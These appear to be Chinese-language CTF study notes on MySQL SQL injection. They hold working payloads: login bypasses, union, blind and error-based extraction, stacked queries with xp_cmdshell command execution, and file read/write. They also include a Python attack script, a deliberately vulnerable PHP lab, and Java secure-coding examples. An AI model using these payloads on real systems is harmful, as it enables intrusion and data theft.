SQL相关基础

information_schema数据库三张表

information_schema.schemata

该数据表存储了mysql数据库中的所有数据库的库名

image.png

information_schema.tables

该数据表存储了mysql数据库中的所有数据表的表名

image.png

information_schema.columns

该数据表存储了mysql数据库中的所有列的列名

image.png

常用函数

系统函数

函数 释义
user() 当前数据库用户
database() 当前数据库名
version() MySQL版本
@@datadir 数据库存储数据路径
@@version_compile_os 操作系统版本

字符串连接函数

函数 释义
concat(str1,str2,…) 联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat(str1,str2,…) group_concat(DISTINCT+user,0x3a,password),把多条数据一次注入出
concat_ws(separator,str1,str2,…) 含有分隔符地连接字符串

三个函数能一次性查出所有信息

其他函数

hex() & unhex() 用于 hex 编码解码
ascii(str) 返回给定字符的ascii值,如果str是空字符串,返回0
length(str) 返回给定字符串的长度,如  length(“string”)=6
substr(string,start,length) 对于给定字符串string,从start位开始截取,截取length长度
load_file() 以文本方式读取文件,在 Windows 中,路径设置为 \
substr()、substring()、mid() 三个函数的用法、功能均一致
select xxoo into outfile ‘路径’ 权限较高时可直接写文件 例:into outfile where ‘/var/www/html/xxx.txt’ – A
CHAR() 把整数转换为对应的字符
to_base64(username) 对数据进行base64

一般用于尝试的语句

1
2
3
4
5
6
7
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

union语法

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

1
2
3
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL

Mysql中注释

单行注释:# & -

多行注释,可以实现行内注释

1
2
3
4
/*注释内容*/
DROP/*comment*/sampletable
DR/**/OP/*绕过过滤*/sampletable
SELECT/*替换空格*/password/**/FROM/**/Members

/* */这种注释方式还有一种扩展,即当在注释中使用!加上版本号时,只要mysql的当前版本等于或大于该版本号,则该注释中的sql语句将被mysql执行。这种方式只适用于mysql数据库。不具有其他数据库的可移植性。

1
?id=-1%27/**//*!12440UNION*//**//*!12440SELECT*/1111,2222,3333%23 HTTP/1.1

MySql逻辑运算

1
username=’admin’ and password=’’or 1=1

and 的运算优先级大于 or 的元算优先级,false or true 结果永真

位运算

1
Select * from users where id=1 & 1=1;

id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 结果还是 1,再进行=操作,1=1,还是 1

&的优先级大于=

手工注入

后台万能密码

输入点在用户名

1
2
3
4
5
6
7
8
9
admin' -- 	
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

输入点在密码

1
2
3
1'or'1'='1
'or 1%23
')or(1

union注入

常规流程

schema_name –> schemata
table_name –> tables
column_name –> columns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
判断当前表的字段数量
1'order by 3#
3正确4报错就有字段数为3
通过union联合查询来知道回显字段的位置
?id=1'union select 1,2,3#
注:设置id=-1 这样数据库中没有id=-1的数据,所以就会返回union select的结果
使用mysql内置函数获取信息
union select 1,database(),3
获得所有的数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata#
kuming数据库的所有表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='kuming'
kuming数据库中biaoming表中的所有列
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='kuming' and table_name='biaoming'
biaoming表中,三列数据的所有内容
union select 1,group_concat(lieming1,'--',lieming2,'--',lieming3),3 from biaoming
union select 1,(select lieming1 from kuming.biaoming limit 0,1),3

union_py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
def sql():
try:
url = "http://abe02896-79fb-4c26-8a0c-61d9562e234e.challenge.ctf.show/"
#payload = "1"
#payload = "1 order by 3#"
# payload = "-1') union select 1,2,3#"
# payload = "-1') union select 1,group_concat(schema_name),3 from information_schema.schemata#"
payload = "-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'ctfshow'#"
payload = "-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'ctfshow' and table_name = 'flagaanec'#"
payload = "-1') union select 1,group_concat(id,flagaca),3 from ctfshow.flagaanec#"

# 库:ctfshow 表 flagaa 列 id,flag




payloads = {'id': payload}

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}

r = requests.get(url, params=payloads, headers=headers)
result = re.findall(r'<font.*?>(.*?)<\/font>', r.text)
print(result)
except:
print('error')
exit()
if __name__ == '__main__':
sql()

Boolean盲注

常用函数

left(a)=b

sql的left()函数如果式子成立返回1如果不成立返回 0

1
select left(database(),1)='s';

image-20210821183018114

mid(s,n,len)

1
1' or ((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>65)--+

注:从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)。注意字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

image-20210821220656380

构造MySQL报错即可配合if函数进行盲注

1
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错

判断当前数据库名

1
2
3
4
5
判断数据库长度
and length(database())=8--+
判断数据库字符
and ascii(substr(database(),1,1))>100 ##二分法
and substr(database(),1,1) = 's' ##爆破法

以上方法不适用于access和SQL Server数据库

判断当前数据库中的表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
猜测当前数据库是否存在xxxxx表
and exists(select*from xxxxx)
判断当前数据库中表的个数
and (select count(table_name) from information_schema.tables where table_schema=database())=4
判断每个表的长度
判断第一张表的长度
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
判断第二张表的长度
and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
判断每个表的每个字符的ASCII值
第一个表第一个字符
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
第一个表第二个字符
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100
第二个表第一个字符
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100

判断表中的字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
如果已经证实了存在admin表,那么猜测是否存在username字段
and exists(select username from admin)
判断表中字段个数
and (select count(column_name) from information_schema.columns where table_name='users')>5
判断字段的长度
判断第一个字段的长度
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
判断第二个字段的长度
and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
判断字段的ascii值
判断第一个字段的第一个字符的ascii值
and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
判断第一个字段的第二个字符的ascii值
and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
判断第二个字段的第一个字符的长度
and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>100

判断字段中的数据

1
2
3
4
5
6
7
8
9
10
判断数据的长度
判断id字段的第一个数据的长度
and length((select id from users limit 0,1))>5
判断id字段的第二个数据的长度
and length((select id from users limit 1,1))>5
判断数据的ASCII值
判断id字段的第一个数据的第一个字符的ascii值
and ascii(substr((select id from users limit 0,1),1,1))>100
判断id字段的第一个数据的第二个字符的ascii值
and ascii(substr((select id from users limit 0,1),2,1))>100

报错注入(过滤空格)

select/insert/update/delete都可以使用报错来获取信息。

ExtractValue报错注入

MYSQL对XML文档数据进行查询和修改的XPATH函数

参数

EXTRACTVALUE (XML_document, XPath_string)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称.

第二个参数:XPath_string (Xpath 格式的字符串).

作用:从目标 XML 中返回包含所查询值的字符串.

注意: 返回结果 限制在32位字符.

格式

1
2
and extractvalue(1,concat(0x7e,user(),0x7e))
and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))

UpdateXml报错注入

MYSQL对XML文档数据进行查询和修改的XPATH函数

参数

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1

第二个参数:XPath_string (Xpath 格式的字符串)

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

格式

1
2
3
and updatexml(1,version,0)#
and updatexml(1,concat(0x7e,user(),0x7e),1)
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

Floor报错注入

MYSQL中用来取整的函数

参数

FLOOR(x)

返回小于或等于 x 的最大整数(向下取整)

格式

1
and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
1
union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

insert update delete注入的利用

判断方式

  1. 数据包括'或者 \时,数据无法插入,则80%是注入,20%是被拦截规则拦截掉了
  2. 带入数据库的字符串是用'包裹的,测试数据中带有",如果能插入数据则90%是注入("不影响数据库执行的sql语句的闭合。往数据库里面插入双引号会变成单引号)。
  3. 数据中包含\' 如果能插入数据,则 100% 证明存在注入
  4. 如果是数字参数,插入sleep(5)进行判断_name=te1st&_number=-1' and sleep(5)or'1&_owner=Olivia

环境代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# sqltest.php
<?php
error_reporting(0);
//error_reporting(E_ALL ^ E_DEPRECATED);
include('./config.php');
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password) or die("error connecting") ; //连接数据库

mysql_query("set names 'utf8'"); //数据库输出编码 应该与你的数据库编码保持一致.

mysql_select_db($mysql_database); //打开数据库

$_id=$_POST[id];
$_ney="test123";
$sql = " insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values(
'{$_POST[_name]}','{$_POST[_number]}','{$_POST[_owner]}','{$_ney}') ";
echo $sql;
//insert into member__sq(p_name,p_number,p_owner,p_ney,sqdate) values('te1st','51','me','test123') and 1=1//','1511233968')
$result = mysql_query($sql,$conn);
if(mysql_affected_rows()=="-1"){
echo "<br>".mysql_error();
}else{
echo "sucess!";
}
mysql_close();

?>
# config.php
<?php
$mysql_server_name='127.0.0.1'; //改成自己的mysql数据库服务器
$mysql_username='root'; //改成自己的mysql数据库用户名
$mysql_password='phpstudyadmin'; //改成自己的mysql数据库密码
$mysql_database='security'; //改成自己的mysql数据库名
?>

基于insert下的报错,其他同理:

1
or updatexml(1,concat(0x7e,user(),0x7e),1) or '

image-20210829112841443

这里相当于在闭合引号也可以写成owner=Olivia' or updatexml(1,concat(0x7e,user(),0x7e),1) or '1

猜测增删改列的个数 ,利用成功执行注入

image-20210828220950419

基于insert下的select:

image-20221014165446560

image-20221014165513080

时间盲注

时间注入利用sleep()benchmark()等函数让sql语句执行时间更长

判断是否存在时间盲注

1
and sleep(5)

sleep函数判断页面响应时间

1
2
3
4
5
6
7
8
9
10
11
#if(判断条件,为true时执行,为false时执行)
and if(ascii(substring(database(),1,1))<100,1,sleep(5))
and if(substring(database(),1,1)='a',sleep(3),null)
#Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次
benchmark(100000000,md(5))
# 其他数据库
PostgreSQL
PG_sleep(5)
Generate_series(1,1000000)
SQLServer
waitfor delay  '0:0:5'

payload a

(select * from (select user())a)

1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a
2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来

1
2
3
(select * from (select sleep(2))a)
(select * from (select(if (length(database())>1, sleep(3),0)))a)
(select*from(select(if(substr(database(),1,1)='s',sleep(3),1)))a)(select*from(select(if(length(database())>2,sleep(3),0)))a)

堆叠注入

union注入和堆叠注入的区别

union或者union all执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句。

局限性

堆叠注入并不是在每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,同时权限不足也会使攻击者无法修改数据或者调用一些程序。
虽然前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分完美。在我们的 Web 系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面无法看到返回结果。
因此在读取数据时,建议使用union注入。同时在使用堆叠注入之前,我们也需要知道一些数据库相关信息如表名,列名等。

数据库实例

下面介绍几个常用数据库的堆叠操作:基本操作与增删查改。

MySQL

  1. 新建表test
    select * from users where id=1;create table test like users;
  2. 删除新建表test
    select * from users where id=1;drop table test;
  3. 查询数据
    select * from users where id=1;select 1,2,3;
  4. 加载文件
    select * from users where id=1;select load_file('d:/test.php');
  5. 修改数据
    select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');

load_file()函数

  • 读取文件并返回文件内容为字符串。
  • 要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限;该文件所有字节可读,但文件内容必须小于max_allowed_packet
  • 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL

image-20210829150420743
注意:这里还是有数据导入导出权限的问题。

secure-file-priv字段secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

1
2
show variables like '%secure%'
show global variables like '%secure%';
  • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

image-20210829151716423

默认的为NULL。即不允许导入导出。

修改mysql.ini 文件,在[mysqld] 下加入

secure_file_priv =

保存,重启mysql。

image-20210829152519639

再次执行

image-20210829154142239

在navicat中执行就会是这样的,要换做命令行执行

image-20210829154119940

注意:在 MySQL 中,需要注意路径转义的问题,即用/\\分隔。

MySQL里设置或修改系统变量的几种方法

这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。

SQL Server

  1. 新建表
    select * from test;create table test2(ss CHAR(8));
  2. 删除新建表
    select * from test;drop table test2;
  3. 查询数据
    select * from test;select 1,2,3;
  4. 修改数据
    select * from test;update test set name='name' where id=1;
  5. SQL Server中最为重要的存储过程的执行
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

Oracle

Oracle 不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错无效字符。

image-20210829154707616

Postgresql

  1. 新建表
    select * from user_test;create table user_data(id DATE);
  2. 删除新建表
    select * from user_test;delete from user_data;
  3. 查询数据
    select * from user_test;select 1,2,3;
  4. 修改数据
    select * from user_test;update user_test set name='new' where name='name';
注入过程

堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息,在这里只演示如何插入新的数据。

1
`http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+`

image-20210829154911637

特殊注入点

Http Header注入

后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

错误_POST_User-Agent_请求头注入

' or updatexml(1 , concat('#',(database())),0) , '','') #

注意:这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#

错误_POST_Referer_请求头注入

' or updatexml(1,concat('#', (database())),0), 0)#

二次注入(存储型注入)

导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入

二次注入的一般过程:

  1. 通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
  2. 服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

当登录界面对username和password都做了过滤

1
2
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);

当注入点在修改密码处:

1
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

将其改变为:

1
UPDATE users SET PASSWORD='$pass' WHERE username='$username'-- and password='$curr_pass'

且已知注册时未有任何过滤,闭合查询语句为单引号,即在注册用户时构造admin'-- (有空格)或admin'#

过滤和应对手段

https://dev.mysql.com/doc/refman/5.7/en/

过滤空格

注释/**/ 反引号(`)

换行%0b,%0a,%0c,%09 代替 TAB 键(php 可用)

image-20220909162346080

1
1'union%0aselect/**/1,group_concat(password),3/**/from`ctfshow_user`%23

没过滤()

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

利用and的优先级比or大

1
2
'or(username='flag')and'1'='1
where username !='flag' and id = ''or(username='flag')and'1'='1' limit 1;";//左边为0但是右边是1

制定输入内容过滤(存在xxx不显示)

like&regexp

1
2
username like'%fla%
(ctfshow_user)where(pass)like'{0}%'

where

1
2
$sql = "select count(pass) from ".$_POST['tableName'].";";
tableName=`ctfshow_user`where`pass`regexp("ctfshow{4")

单双引号过滤(Hexadecimal)

group by having

1
2
3
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)
tableName=ctfshow_user group by pass having pass like {0}.format("0x"+str_to_hex(flag+"%"))
tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

代码审计

java

JDBC

Statement

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 采用原始的Statement拼接语句,导致漏洞产生
public String jdbcVul(String id) {
StringBuilder result = new StringBuilder();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);

Statement stmt = conn.createStatement();
// 拼接语句产生SQL注入
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);

while (rs.next()) {
String res_name = rs.getString("user");
String res_pass = rs.getString("pass");
String info = String.format("查询结果 %s: %s", res_name, res_pass);
result.append(info);
}

PrepareStatement

1
2
3
4
5
6
// PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println("[*] 执行SQL语句:" + st);
ResultSet rs = st.executeQuery();

安全代码

过滤关键字符
1
2
3
4
5
6
7
8
9
10
// 采用黑名单过滤危险字符,同时也容易误伤(次方案)
public static boolean checkSql(String content) {
String black = "'|;|--|+|,|%|=|*|(|)|like|xor|and|or|exec|insert|select|delete|update|count|drop|chr|mid|master|truncate|char|declare|sleep|abs|rand|union";
String[] black_list = black.split("|");
for (int i=0 ; i < black_list.length ; i++ ){
if (content.contains(black_list[i])){
return true;
}
}
return false;
预编译
1
2
3
4
5
// 正确的使用PrepareStatement可以有效避免SQL注入,使用?作为占位符,进行参数化查询
String sql = "select * from users where id = ?";
PreparedStatement st = conn.prepareStatement(sql);
st.setString(1, id);
ResultSet rs = st.executeQuery();
ESAPI安全框架
1
2
3
4
5
// ESAPI (OWASP企业安全应用程序接口)是一个免费、开源的、网页应用程序安全控件库,它使程序员能够更容易写出更低风险的程序
Codec<Character> oracleCodec = new OracleCodec();
Statement stmt = conn.createStatement();
String sql = "select * from users where id = '" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + "'";
ResultSet rs = stmt.executeQuery(sql);